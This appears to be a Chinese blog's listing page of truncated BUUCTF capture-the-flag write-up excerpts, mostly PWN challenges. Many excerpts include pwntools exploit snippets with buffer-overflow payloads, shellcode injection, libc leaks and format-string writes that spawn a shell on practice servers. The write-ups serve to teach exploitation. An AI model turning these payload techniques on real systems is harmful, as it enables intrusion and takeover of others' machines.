自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(62)
  • 收藏
  • 关注

原创 [BUUCTF]PWN——ciscn_2019_s_9

ciscn_2019_s_9参考例行检查 ,32位,未开启任何保护运行一下。32位ida载入,,第10行的fgets,能够溢出0x32-0x20-0x4个字节没用nx保护,首先想到的就是往s里写入shellcode,然后跳转到s执行shellcode生成的shellcode的长度过长,参数 s0x20(32) 写不下。shellcode ='''xor eax,eax #eax置0xor edx,edx #edx置0push edx #将0入栈,标

2021-04-26 21:10:00 555

原创 [BUUCTF]PWN——[BSidesCF 2019]Runit

[BSidesCF 2019]Runit例行检查 ,32位,开启NX保护运行一下。IDA打开,查看主函数。buf用mmap映射了地址,可读可写可执行,直接传入shellcode,15行调用了buf,运行shellcode获取shell。from pwn import *p=remote("node3.buuoj.cn",26059)context.arch="i386"shellcode=asm(shellcraft.sh())p.sendline(shellcode)p.

2021-04-26 20:35:57 442

原创 [BUUCTF]PWN——jarvisoj_test_your_memory

jarvisoj_test_your_memory例行检查 ,32位,开启了NX保护运行一下,跳出了一个地址0x80487e0用IDA打开。看到了cat flag.还有system找到了他们的地址查看main函数mem_test函数存在溢出漏洞,由于之前检索字符串的时候发现程序里调用了system函数,可以覆盖ret为system函数,去执行system。from pwn import * r =remote('node3.buuoj.cn',27075) syst

2021-04-09 20:04:47 408

原创 [BUUCTF]PWN——picoctf_2018_rop chain

picoctf_2018_rop chain例行检查 ,32位,开启NX保护。运行一下。用IDA打开。看到了flag.txt,跟进查看/

2021-04-09 19:37:39 239

原创 [BUUCTF]PWN——bjdctf_2020_babystack2

bjdctf_2020_babystack264位,开启NX保护。运行一下。用IDA打开。找到了后门函数。backdoor=0x400726查看main函数读入数据的大小由我们输入的参数nbytes控制nbytes参数的类型 是 size_t,它是一个无符号整型。但是第7行又将它转换成了有符号的整型,存在整数溢出漏洞(即无符号的数转换成有符号的整型后超过了有符号的整型能表示的范围,从而造成溢出,常用-1来造成溢出)from pwn import *r=remote('nod

2021-04-06 20:53:08 1032

原创 [BUUCFT]PWN——pwn2_sctf_2016

pwn2_sctf_2016例行检查,32位,开启了NX保护。运行一下用IDA打开。main函数调用了vuln函数接受a2个长度的字符串并放到vuln函数的缓冲区内部,但是a2传入的值类型是unsigned int,而前面判断长度的类型是int,这边可以输入负数来达到溢出的效果(整数溢出)我们可以通过,输入负数,绕过长度限制,造成溢出,再利用printf函数泄露程序的libc版本,去算出system和‘/bin/sh‘的地址,最后溢出覆盖返回地址去执行system(‘/bin/sh’)f

2021-04-03 16:21:54 478 2

原创 [BUUCTF]PWN--------jarvisoj_level4

jarvisoj_level4例行检查,32位,开启NX保护运行一下用IDA打开。查看主函数查看vulnerable_function()函数buf存在溢出漏洞。是一道ret2libc类型的题目。利用第一次溢出泄露libc版本,从而获取system函数和"/bin/sh"的地址,并且返回重新执行主函数。再利用第二次栈溢出跳转执行system("/bin/sh")from pwn import *from LibcSearcher import *context(os = "

2021-04-02 20:53:46 346 2

原创 [BUUCTF]PWN——jarvisoj_level1

jarvisoj_level1例行检查,32位,未开启任何保护。运行一下,给了一个地址 0xffef96b0用IDA打开,查看主函数查看function函数。由此我们可以知道 bufadddr= 0xffef96b0,buf存在溢出漏洞。由于题目并没有开启任何保护。所以我们可以先通过read读入shellcode,然后利用溢出漏洞将ret覆盖为buf参数地址(此时buf里是shellcode)去执行即可获取shell。...

2021-03-31 21:12:33 242

原创 [BUUCTF]PWN——picoctf_2018_buffer overflow 2

picoctf_2018_buffer overflow 2例行检查,32位,开启NX保护运行一下,用IDA打开。看到了flag.txt,跟进一下。win函数地址为0x80485cba1 == 0xDEADBEEF && a2 == 0xDEADC0DE 时,输出flag.from pwn import*r=remote('node3.buuoj.cn',26224)payload='a'*(0x6c+4)+p32(0x80485cb)+p32(0)+p32(0x

2021-03-31 19:57:38 552

原创 [BUUCTF]PWN——wustctf2020_getshell

wustctf2020_getshell例行检查 ,开启NX保护,32位,运行一下,打印出一个图形。用IDA打开。看到了关键函数。shelladdr=0x804851B查看主函数,buf的长度为0x18,读取的长度为0x20,可以造成溢出。from pwn import*r=remote('node3.buuoj.cn',28128)shelladdr=0x804851Bpayload='a'*(0x18+4)+p32(shelladdr)r.sendline(payl

2021-03-30 20:46:11 306

原创 [BUUCTF]PWN——jarvisoj_level2_x64

jarvisoj_level2_x64例行检查 ,64位,开启NX保护,运行一下用IDA打开。systemaddr=0x40063eshalladdr=0x400A90查看主函数,buf的长度为0x80,读取的长度为0x200,可以造成溢出漏洞。rdiaddr= 0x4006b3from pwn import *context(log_level = 'debug')elf = ELF('./level2_x64')p = remote('node3.buuoj.cn',

2021-03-30 19:53:32 1491

原创 [BUUCTF]PWN——[HarekazeCTF2019]baby_rop

例行检查,64位,开启NX保护。运行一下用IDA打开。shift+f12检索字符串,看到了system和/bin/shshelladdr=0x601048systemaddr=0x400496查看主函数,v4的输入没有长度限制 ,可以造成溢出,由于程序 是64位的,所以传参会用到寄存器当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。当参数为7个以上时,后面的依次从 “右向左” 放入栈中。找到rdi的位置。rdiaddr=0x

2021-03-29 20:46:29 311

原创 [BUUCTF]PWN——bjdctf_2020_babystack

例行检查,64位,开启NX保护运行一下,用IDA打开,检索字符串,看到了后门跟进查看。找到了地址,shelladdr=0x4006EA查看主函数接收函数长度由我们自己决定,由此可以造成溢出。from pwn import*r=remote('node3.buuoj.cn',25232)shelladdr=0x4006EAr.sendline('100')payload='a'*(0x10+8)+p64(shelladdr)r.sendline(payload)r.

2021-03-29 20:01:11 327

原创 [BUUCTF]PWN——jarvisoj_level5

jarvisoj_level5例行检查,开启NX保护IDA打开,找到主函数。buf很明显的溢出漏洞56分49秒,采用ret2libc的方法,得用write函数来泄露libc。from pwn import*from LibcSearcher import*r=remote('node3.buuoj.cn',27018)elf=ELF('./level3_x64')main_addr=0x40061apop_rdi=0x4006b3pop_rsi_r15=0x4006b1wri

2021-03-27 20:58:25 206

原创 [BUUCTF]PWN——bjdctf_2020_babyrop

bjdctf_2020_babyrop例行检查 ,开启NX保护。运行一下。IDA打开,检索字符串,没有信息。查看main函数,调用了vuln函数。buf大小是0x20,但read读取了0x64,明显的溢出漏洞大概是64位的libc泄露。根据目前所学,libc泄露需要利用程序里调用过的函数来进行版本泄露,再通过函数的地址来计算出偏移量,从而计算出system函数和字符串“/bin/sh”的地址,再重新执行main函数,构造rop,执行已经得到的system函数和字符串“/bin/sh”

2021-03-25 21:04:52 191

原创 [BUUCTF]PWN——[第五空间2019 决赛]PWN5

[第五空间2019 决赛]PWN5例行检查,32位,开启了canary保护和NX保护。运行一下。IDA打开,看到了/bin/sh,但开启了保护查看主函数,函数的功能是读入一个4位的随机密码,再将我们输入的密码与随机生成数比较,相同就执行system这里面的printf()存在格式化字符串漏洞按我的理解就是输入的参数的个数是不固定的,是由前面的格式化字符串决定的,所以我们只要控制了前面的格式化字符串,再结合一些参数,后面输出什么就是由我们决定的;如:%d 用于读取10进制数值%x

2021-03-25 01:42:20 4953 7

原创 [BUUCTF]PWN——[HarekazeCTF2019]baby_rop

[HarekazeCTF2019]baby_rop例行检查,32位,开启NX保护和PIE保护运行一下,直接就能执行shell的命令远程连接运行一下,直接就获取到了flag

2021-03-24 22:40:08 240

原创 [BUUCTF]PWN——铁人三项(第五赛区)_2018_rop

铁人三项(第五赛区)_2018_rop32位,开启NX保护运行程序。用IDA打开,跳转到main函数没有什么有用的信息,vulnerable_function()函数是输入点。利用write函数来泄露程序的libc版本知道libc版本后再计算程序里的system函数和字符串“/bin/sh”的地址最后再覆盖返回地址from pwn import *from LibcSearcher import *r=remote('node3.buuoj.cn',27850)elf=ELF

2021-03-22 20:43:32 249 1

原创 [BUUCTF]PWN——picoctf_2018_buffer overflow 1

picoctf_2018_buffer overflow 1例行检查,32位,没开启保护运行一下用IDA打开,检索字符串,看到了flag.txt,跟进找到了调用flag.txt的函数win_addr=0x80485CBgets函数读入,存在溢出漏洞,覆盖ret为win函数即可from pwn import*r=remote('node3.buuoj.cn',26185)win_addr=0x80485CB payload='a'*(0x28+4)+p32(win_addr)

2021-03-20 15:34:41 319

原创 [BUUCTF]PWN——jarvisoj_fm

jarvisoj_fm例行检查,开启NX和CANARY保护,32位。运行程序IDA载入,检索字符串,看见了“/bin/sh”字符串跟进函数,当x=4的时候执行system(/bin/sh)存在格式化字符串漏洞,我们可以利用它随意读写的特性让x=4找一下输入点的参数在栈上存储的位置,手动输入计算得到偏移为11payload=p32(x_addr)+"%11$n"首先传入x参数的地址,这个地址存放在栈上偏移为11的位置,利用%11$n,定位到了偏移为11的位置,往这个位置写入数据,写

2021-03-19 13:55:53 353

原创 [BUUCTF]PWN——jarvisoj_tell_me_something

jarvisoj_tell_me_something例行检查,开启NX保护,64bit运行一下用IDA打开,看到了关键函数 flag.txt.跟进一下。flag_addr=0x400620看一下主函数。输入点的v4溢出漏洞,利用它覆盖返回地址为flag_addr的地址读出flag。汇编结尾没有leave起步刚开始就直接是rsp减去0x88,这里是没有把rbp压入栈,所以只需要0x88的数据大小,就可以覆盖返回地址了from pwn import *r=remote('nod

2021-03-18 19:56:01 816

原创 [BUUCTF]PWN——jarvisoj_level3_x64

jarvisoj_level3_x64例行检查,64位,开启NX保护。运行一下。IDA打开,查看main函数function()函数buf溢出漏洞,read之前已经调用过write函数,利用它来泄露libc版本64位程序在传参的时候要先用到rdi,rsi,rdx,rcx,r8,r9这几个寄存器,都满了之后才会在栈上传参利用ROPgadget找一下设置寄存器的指令rdi=0x4006b3rsi_r15=0x4006b1payload='a'*(0x80+8)+p64(rdi)+

2021-03-17 17:52:30 258

原创 [BUUCTF]PWN——jarvisoj_level3

jarvisoj_level332位,NX保护。运行程序。用IDA打开,shift+f12检索 ,找到关键函数。参数buf溢出漏洞,利用ret2libc获取shell。1,利用write函数泄露libc版本write_plt=elf.plt['write']write_got=elf.got['write']payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)r.recvuntil('

2021-03-16 00:49:36 1290

原创 [BUUCTF]REVERSE——[WUSTCTF2020]Cr0ssfun

[WUSTCTF2020]Cr0ssfun例行检查,无壳,64位程序,ida载入,检索字符串程序在进行一个比较后结束 ,所以关键在于check函数查看check函数。将他们汇总扣输出 得到flag#include<stdio.h>int main(){int a1[50]={0};int i;a1[10] =112;a1[13]=64;a1[3]=102;a1[26]=114;a1[20]=101;a1[7]=48;a1[16]=95;a1[11]

2021-03-11 21:34:14 823

原创 [BUUCTF]REVERSE——[MRCTF2020]hello_world_go

[MRCTF2020]hello_world_go例行检查,64位程序,无壳。64位ida载入,直接检索flag挨个检索,找到flagflag{hello_world_gogogo}

2021-03-10 20:57:37 344 1

原创 [BUUCTF]REVERSE——[MRCTF2020]Xor

[MRCTF2020]Xor例行检查,32位程序,无壳用32位ida打开,检索函数。i和byte_4212c0按位异或,最后得到byte_41EA08查看byte_41EA08的值flag{@_R3@1ly_E2_R3verse!}

2021-03-09 19:28:50 250

原创 2021.红客训练营CTF第二场——Reverse部分

1. whereisflag用ida打开,看到字符串:whereisflag,双击跟进把字符串拼接起来,得到flagCnHongKe{849bc02af213b4d}2. Reverse1运行程序 ,让我们输入密码查壳,upx壳,32位脱壳用32位IDA打开,查看函数。逻辑是:输入长度为11的字符串,逆序后每一位加7,然后跟v7异或,得到新的字符串后在把每一位字符减1,再逆序得到off_409030里的值off_409030的值:a=[0x1E, 0x5D, 0x53,

2021-03-08 16:58:07 832

原创 [BUUCTF]REVERSE——[WUSTCTF2020]level2

[WUSTCTF2020]level2例行检查,32位程序,upx脱壳。用ida打开。检索,直接得flagflag{Just_upx_-d}

2021-03-06 10:04:46 254

原创 [BUUCTF]REVERSE——[WUSTCTF2020]level1

[WUSTCTF2020]level1附件有两个。output.txt里是一堆数字64位ida打开第一个附件,检索字符串,进入主函数界面打开flag文件读出了flag文件里的内容,再进行处理后输出。附件中output.txt,应该就是输出后的内容,把里面的数据逆向算一下应该就是flag里的内容...

2021-03-05 18:41:57 200

原创 CrackMe

CrackMe32bit,无壳运行一下程序,让我们输入一串注册码用32位IDA打开,查看字符串在rdata段(资源数据段)找到了’TRUE’和’‘FALSE’’,ctrl+x跟进int __thiscall sub_401730(CWnd *this){ int v2; // edi HMODULE v3; // eax int v4; // edx struct CWnd *v5; // eax int v6; // esi int i; // eax in

2021-03-04 17:49:01 292 1

原创 [BUUCTF]REVERSE------[GUET-CTF2019]re

[GUET-CTF2019]re例行检查 ,64bit,upx去壳,用64位IDA打开,进入函数可以看到让我输入的字符串符合sub_4009AE就输出correct,直接看sub_4009AE里面是一长串的比较,对我们输入的每一位判断因此只要对每一位逆向算一下就可以了a1=chr(166163712//1629056)a2=chr(731332800//6771600)a3=chr(357245568//3682944)a4=chr(1074393000//10431000)a5=

2021-02-06 15:10:45 629

原创 [BUUCTF]REVERSE------[FlareOn4]login

打开后一个.html文件,打开,F12查看代码var rotFlag = flag.replace(/[a-zA-Z]/g, function©{return String.fromCharCode((c <= “Z” ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);});意思大概就是将前十三位与后十三位对换最后得到了 PyvragFvqrYbtvafNerRnfl@syner-ba.pbz进行逆运算就可以得到flag

2021-02-05 16:11:31 276

原创 [BUUCTF]REVERSE------[ACTF新生赛2020]rome

[ACTF新生赛2020]rome查壳,32bit,无壳用32位IDA打开,从 you are correct 进入。就是让我们输入一个字符串,然后判断大小写,进行相应的运算,最后得到了程序开头的数组v12 [ ‘Q’,‘s’,‘w’,‘3’,‘s’,‘j’, ‘’,‘l’,‘z’,‘4’,’’,‘U’,‘j’,‘w’,’@’,‘l’ ]第45和47是进行大小写判断利用穷举...

2021-02-04 13:36:05 301

原创 [BUUCTF]REVERSE------[ACTF新生赛2020]easyre

[ACTF新生赛2020]easyre查壳,32bit,有壳去壳用32位IDA打开。第16行让我们输入 ACTF{}, 也就是flag第21行可以看出 { }内的长度为12 且v4内的字符要和byte_402000【输入的数组的每一位值-1】byte_402000的值也已经给我们了根据这个算法逆向一下就能得到我们输入的字符串,也就是flag...

2021-02-03 15:43:41 418

原创 [BUUCTF]REVERSE------[BJDCTF2020]JustRE

[BJDCTF2020]JustRE打开附件,是个可执行文件,运行一下getflag是骗人的,点了100次啥也没有。查壳,32bit,无壳用32bitIDA打开,看到有一串比较像flag的字符,跟进一下输出Format,看一下Format的值Format是 您已经点了%d次,那 dword_4099F0应该就是点击的次数下一个if是 dword_4099F0==19999 时符合条件,结合上面就可以判断大概是鼠标点击20000次会输出flag这里是把19999和0写入 BJ

2021-02-02 14:02:24 779

原创 [BUUCTF]REVERSE------[GWCTF 2019]pyre

[GWCTF 2019]pyre文件是一个后缀为.pyc的文件,用python反编译工具打开这是编译后的逻辑很简单,经过两段处理后得到一串字符,只要逆运算一下就可以了

2021-02-01 10:27:34 197

原创 [BUUCTF]REVERSE-------简单注册器

简单注册器apk文件,直接用apkide打开找到它的注入点,将它反编译好的.class文件再用jd.gui打开。对“dd2940c04462b4dd7c450528835cca15”进行下面的一系列算法后,得到flag。我们写出来运行一下即可...

2021-01-30 16:39:22 360

原创 [BUUCT]REVERSE------findit

finditapk文件,用apkide打开,找到findit文件在里面没有找到flag的线索,纵观下来,只有这两串16进制比较奇怪。转换一下,是flag的提示,那下一串应该就是flag了得到了一串字符,提交之扣显示不正确,那应该被加密了,像这种变化 不会太大的应该是凯撒加密。第11解密得到了flagflag{c164675262033b4c49bdf7f9cda28a75}...

2021-01-29 14:06:57 202

原创 [BUUCTF]REVERSE------[GXYCTF2019]luck_guy

[GXYCTF2019]luck_guy用64位IDA打开,shift+f12查看,看到it’s flag,进去查看看到了一个switch语句,case 1时,输出flag,在这里可以看出flag是由f1和f2拼接而成的。看一下f1和f2的内容,f1=GXY{do_not_ ,f2里面没有东西。再到主函数里寻找,在下面看到了对f2进行了赋值,所以f2=0x7F666F6067756369LL看了f1的样式,f2的内容显然是要再处理一下的,case5对f2进行了处理,一共处理了8次,这

2021-01-28 16:42:09 510

原创 [BUUCTF]REVERSE------[GKCTF2020]Check_1n

[GKCTF2020]Check_1n打开是一个可执行文件,让我们找密码。例行检查,无壳,32bit用32位IDA打开,看到了密码错误,只有存在对比才可以判断对错,所以正确的密码应该在这儿,进去看看在str1和str2比较后判断出密码的对错,str2是由我们输入的因此str1应该就是密码,继续跟进查看。密码应该就是 HelloWorld进入程序 ,输入开机密码直接给出一个flag,进去看看是一串假的,但是应该被 加密了,用base64解密看看让我们去玩魔力砖,那就去打砖块

2021-01-27 17:10:17 248

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除